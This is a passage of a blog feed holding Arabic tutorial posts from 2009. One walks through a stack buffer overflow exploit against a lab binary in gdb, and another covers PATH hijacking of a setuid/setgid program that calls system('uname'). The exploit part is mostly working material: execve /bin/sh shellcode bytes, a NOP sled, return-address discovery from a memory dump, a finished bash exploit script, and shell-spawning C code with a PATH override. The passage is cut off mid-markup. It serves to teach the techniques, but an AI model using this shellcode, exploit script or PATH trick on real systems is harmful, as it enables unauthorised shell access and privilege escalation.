فعليه, بعد الهاويه الكبيره يجي عندنا مباشره الشل كود, يعني بيشتغل الشل كود مباشره.&lt;br /&gt;&lt;br /&gt;eipماله داعي نروح ونقلب الميموري وندور عن عنوان الشل كود, علشان نكتبه على&lt;br /&gt;اي عنوان من عناوين&lt;br /&gt;0x90&lt;br /&gt;بتؤدي الى نفس النتيجه وبشكل افضل&lt;br /&gt;&lt;br /&gt;نكمل التطبيق:&lt;br /&gt;&lt;br /&gt;nop بنكتب ال118&lt;br /&gt;و يليه الشل كود يليه اربع بايتات الي هي عنوان النوب الي بنجيبه بعد شويه&lt;br /&gt;BBBBحاليا بنخلي قيمته مثل ما هي  &lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend style="color: rgb(51, 255, 255);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "B"x4'` &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;الي هي اختصار ل ESPبعدها بنستعرض قيم&lt;br /&gt;"Extended Stack Pointer"&lt;br /&gt;يطلع قيم الاستاك ميموري espال&lt;br /&gt;&lt;br /&gt;espحاليا نحن مانعرف عناوين النوب , فبندور عنها يدويا, بستعرض حوالي 200 قيمه من قيم الاستاك ميموري من&lt;br /&gt;ممكن تكتب اي عدد مب لازم 200 , بس انا اخترتها علشتان اشوف الميموري بشكل اكبر واعرف اغلب القيم.&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;x/200x&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;$esp&lt;/span&gt;&lt;br /&gt;0xbfffdcd0:     0x00000000      0xbfffdd44      0xbfffdd50      0x00000000&lt;br /&gt;0xbfffdce0:     0x00adaff4      0x00000000      0x002e7cc0      0xbfffdd18&lt;br /&gt;0xbfffdcf0:     0xbfffdcd0      0x009c1e6d      0x00000000      0x00000000&lt;br /&gt;0xbfffdd00:     0x00000000      0x002dd090      0x009c1ded      0x002e7ff4&lt;br /&gt;.....................................&lt;br /&gt;..............................&lt;br /&gt;......................&lt;br /&gt;.................&lt;br /&gt;0xbfffde20:     0x00000000      0x656c2f00      0x736c6576      0x76656c2f&lt;br /&gt;0xbfffde30:     0x00356c65      &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---&lt;br /&gt;0xbfffde40:     &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;0xbfffde50:     &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;0xbfffde60&lt;/span&gt;:     &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;0xbfffde70:     &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;0xbfffde80: &lt;span style="color: rgb(255, 0, 0);"&gt;    0x90909090      0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;0xbfffde90:     &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090      0x90909090      0x90909090&lt;/span&gt;&lt;br /&gt;0xbfffdea0:     &lt;span style="color: rgb(255, 0, 0);"&gt;0x90909090      0x90909090&lt;/span&gt;      &lt;span style="color: rgb(51, 204, 0);"&gt;0x0bb0&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;9090&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;      0x2f685299&lt;/span&gt;&lt;br /&gt;0xbfffdeb0:     &lt;span style="color: rgb(51, 204, 0);"&gt;0x6868732f      0x6e69622f      0x5352e389      0x80cde189&lt;/span&gt;&lt;br /&gt;0xbfffdec0:     &lt;span style="color: rgb(204, 51, 204);"&gt;0x42424242&lt;/span&gt;      0x45485300      0x2f3d4c4c      0x2f6e6962 &lt;/return&gt;&lt;/return&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;واضحه تماما عناوين ال118 نوب&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x90&lt;/span&gt;&lt;br /&gt;BBBBوبعدها نشوف الشل كود و بعده في السطر الاخير قيم&lt;br /&gt;ناخذ اي عنوان من عناوين النوب , مثلا&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;0xbfffde60&lt;/span&gt;&lt;br /&gt;BBBBونكتبها في الاستغلال بدل ال&lt;br /&gt;&lt;br /&gt;بنكتبها بطريقه معكوسه بدل&lt;br /&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;0xbfffde60&lt;/span&gt;&lt;br /&gt;بتكون&lt;br /&gt;&lt;span style="color: rgb(204, 51, 204);"&gt; \x60\xDE\xFF\xBF&lt;/span&gt;&lt;br /&gt;"little endian systemsلان بروسيسرات الانتل طريقه تخزين الداتا فيها تكون معكوسه وهي الي تسمى ب"&lt;br /&gt;عكس بروسيسرات&lt;br /&gt;Motorola و IBM PPC و SUN sparc&lt;br /&gt;"big endian systems"الي تكتب الداتا بشكل مباشر وهي الي تسمى ب&lt;br /&gt;&lt;br /&gt;المهم نرجع لموضوعنا, الحين خلاص نرجع نكتب النوب والشل كود وعنوان النوب الي اخترناه مره ثانيه ونشوف شو بيحصل:&lt;br /&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;span style="color: rgb(51, 255, 255);"&gt; &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 255);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;run&lt;/span&gt; `perl -e 'print &lt;span style="color: rgb(192, 192, 192);"&gt;"\x90"&lt;/span&gt;x118, &lt;span style="color: rgb(192, 192, 192);"&gt;"\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"&lt;/span&gt;, &lt;span style="color: rgb(192, 192, 192);"&gt;"\x60\xDE\xFF\xBF"&lt;/span&gt;'`&lt;br /&gt;&lt;br /&gt;Starting program: /lab/vul `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`&lt;br /&gt;�&lt;br /&gt;Rh//shh/binكRSفح`��؟&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;sh-3.1$&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;gdbاشتغل الشل كود وحصلنا على الشل, نطلع من الدي باقر&lt;br /&gt;argv[1]  ونجرب نطبق الاستغلال مباشره من  &lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend style="color: rgb(51, 255, 255);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;quit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;./vul&lt;/span&gt; `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x60\xDE\xFF\xBF"'`&lt;br /&gt;�&lt;br /&gt;Rh//shh/binكRSفح`��؟&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;sh-3.1$&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; uid=500(drdeath) gid=500(drdeath),500(drdeath)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;sh-3.1$&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;suid نجح الاستغلال وحصلنا على الشل, لو كان الملف المصاب له صلاحيات يوزر اخر وكان يستخدم ايضا&lt;br /&gt;في الصلاحيات بنحصل على صلاحيات اليوزر الاخر.&lt;br /&gt;&lt;br /&gt;اترك كتابت الاكسبلويت لكل شخص على حسب اللغه الي يحبها اكثر , الاكسبلويت ممكن تنفيذه بأغلب اللغات&lt;br /&gt;و غيرهم c, perl, python, ruby, java, shellScript, php&lt;br /&gt;&lt;br /&gt;هذا استغلال بسيط جدا للثغره كتبته باللينكس شل سكربت&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 4px; overflow: auto; width: 350px; height: 550px;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 102);font-size:100%;" &gt;#!/usr/bin/env bash&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);font-size:100%;" &gt;# Sample Buffer OverFlow Exploit&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);font-size:100%;" &gt;# Coded By Dr.Death&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;nop&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;nlen&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=118&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;for&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;((&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;i&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=0; i&lt;$nlen; i++)); &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;do&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;nop&lt;/span&gt;&lt;span style="font-size:100%;"&gt;=&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;$nop&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"\x90"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;done&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;ret&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"\x40\xDE\xFF\xBF"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;shellcode&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;vulapp&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;'./vul'&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;expl&lt;/span&gt;&lt;span style="color: rgb(255, 255, 255);font-size:100%;" &gt;=&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;$nop$shellcode$ret&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"\x00"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;echo&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"===========Buffer OverFlow Exploit=========="&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;echo&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"===========.::Coded By Dr.Death:.==========="&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);font-size:100%;" &gt;printf&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"\n"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;$vulapp&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(102, 51, 102);font-size:100%;" &gt;`printf&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"&lt;/span&gt;&lt;span style="color: rgb(102, 102, 204);font-size:100%;" &gt;$expl&lt;/span&gt;&lt;span style="color: rgb(255, 153, 255);font-size:100%;" &gt;"&lt;/span&gt;&lt;span style="color: rgb(102, 51, 102);font-size:100%;" &gt;`&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;تحياتي...&lt;br /&gt;Dr.Death&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-6753066175486637802?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/6753066175486637802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/04/gdb-buffer-overflow.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/6753066175486637802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/6753066175486637802'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/04/gdb-buffer-overflow.html' title='GDB &amp;amp; Buffer OverFlow'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-336905983269809336</id><published>2009-04-14T12:20:00.007+04:00</published><updated>2009-04-22T22:30:27.838+04:00</updated><title type='text'>مخاطر SUID &amp; syscall</title><content type='html'>&lt;div style="text-align: center;"&gt;السلام عليكم...&lt;br /&gt;&lt;br /&gt;هناك غلطات برمجيه يقع فيها كثير من المبرمجين , وهي انهم يقومون بوضع الملفات التنفيذيه  في دوال&lt;br /&gt;&lt;br /&gt;بدون تحديد مسارها "&lt;span style="color: rgb(204, 204, 204);"&gt;System Call&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;مثلا عندنا هذا الكود&lt;br /&gt;&lt;/div&gt;&lt;div style="margin: 5px 20px 20px; text-align: center;"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 4px; overflow: auto; width: 300px; height: 146px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#include &lt;%stdlib.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(51, 102, 255);"&gt;() {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;system&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;"uname"&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;return &lt;span style="color: rgb(255, 153, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;}&lt;/span&gt;&lt;stdlib.h style="color: rgb(51, 102, 255);"&gt;&lt;/stdlib.h&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;للوهله الاولى بتقول الكود سليم ومافيه شي, ومافي مجال لاستغلاله.&lt;br /&gt;&lt;br /&gt;بس كل شي ممكن في اللينكس, الثغره هذي انك ممكن تلعب على مسارات البحث.&lt;br /&gt;&lt;br /&gt;لو كتبت الامر&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;env&lt;/span&gt;&lt;br /&gt;او كتبت&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;$PATH&lt;/span&gt;&lt;br /&gt;بتشوف المسارات الي يبحث فيها الشل الي انته تستخدمه مثلا "الباش" عن البرامج والملفات.&lt;br /&gt;&lt;br /&gt;مثلا اذا كتبت الامر&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;uname &lt;/span&gt;&lt;br /&gt;بتشوفه اشتغل مباشره بدون اضافة مساره الحقيقي.&lt;br /&gt;&lt;br /&gt;اكتب الامر&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;whereis uname&lt;/span&gt;&lt;br /&gt;بتشوف مساره , مثلا&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/bin&lt;/span&gt;&lt;br /&gt;المسار هذا بتشوفه موجود عندك على&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;$PATH&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;المهم نرجع لثغره واستغلالها, بكل بساطه روح على اي مسار مثلا&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/tmp&lt;/span&gt;&lt;br /&gt;واكتب اي كود تريد و غير اسمه الى&lt;br /&gt;"uname"&lt;br /&gt;وضيف المسار الي انته فيه على&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;$PATH&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;نحط امثله احسن, مثلا بكتب كود يعطيني شل, وبحطه في&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/tmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin: 5px 20px 20px; text-align: center;"&gt;  &lt;div style="text-align: left;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 4px; overflow: auto; width: 300px; height: 130px;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;#include &lt;%stdlib.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;char&lt;/span&gt; *arg[] = {&lt;span style="color: rgb(192, 192, 192);"&gt;"/bin/sh"&lt;/span&gt;,&lt;span style="color: rgb(0, 0, 153);"&gt;NULL&lt;/span&gt;};&lt;br /&gt;&lt;br /&gt;execve(arg[&lt;span style="color: rgb(255, 153, 0);"&gt;0&lt;/span&gt;],arg,&lt;span style="color: rgb(0, 0, 153);"&gt;NULL&lt;/span&gt;);&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;وبغير اسمه الى&lt;br /&gt;uname&lt;br /&gt;&lt;br /&gt;وبعدين بضيف المسار الي انا فيه على&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;$PATH&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;export&lt;/span&gt; PATH=&lt;span style="color: rgb(255, 0, 0);"&gt;.&lt;/span&gt;:&lt;span style="color: rgb(255, 153, 0);"&gt;$PATH&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;هنا انا ضفت نقطه على بدايه المسارات , النقطه في اليونكس معناها المسار الي انته فيه.&lt;br /&gt;مثلا اذا جيت تشغل ملف تنفيذي في نفس المسار الي انته فيه بتكتب&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.&lt;/span&gt;/file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;المهم, الحين اذا رحت وشغلت الملف الي فيه الثغره وانته موجود على&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/tmp&lt;/span&gt;&lt;br /&gt;بتشوف انك حصلت على شل بدل الامر&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;uname&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;الخطر يكمن في استخدام&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;setuid/gid&lt;/span&gt;&lt;br /&gt;في الصلاحيات.&lt;br /&gt;حيث ان البرنامج يشتغل بصلاحيات اليوزرز صاحب  البرنامج وليس اليوزر الي شغل البرنامج.&lt;br /&gt;&lt;br /&gt;من المانيول:&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;S_ISUID  04000  set user ID on execution&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;S_ISGID  02000  set group ID on execution&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;خلونا نشوف مثال كامل على الموضوع:&lt;br /&gt;&lt;br /&gt;كتبنا الملف المضروب&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;vi&lt;/span&gt; sys_exp.c &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;عملنا له كومبايل بال&lt;br /&gt;gcc&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;&lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt; gcc&lt;/span&gt; sys_exp.c &lt;span style="color: rgb(204, 0, 0);"&gt;-o&lt;/span&gt; sys_exp &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;غيرنا اليوزر له لروت&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt;&lt;br /&gt;&lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;sudo chown&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);"&gt;root:root&lt;/span&gt; sys_exp &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;غيرنا الصلاحيات وضفنا له&lt;br /&gt;setgid&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;legend&gt;&lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;sudo chmod&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);"&gt;2755&lt;/span&gt; sys_exp&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;ls&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);"&gt;-lah&lt;/span&gt;&lt;br /&gt;&lt;span 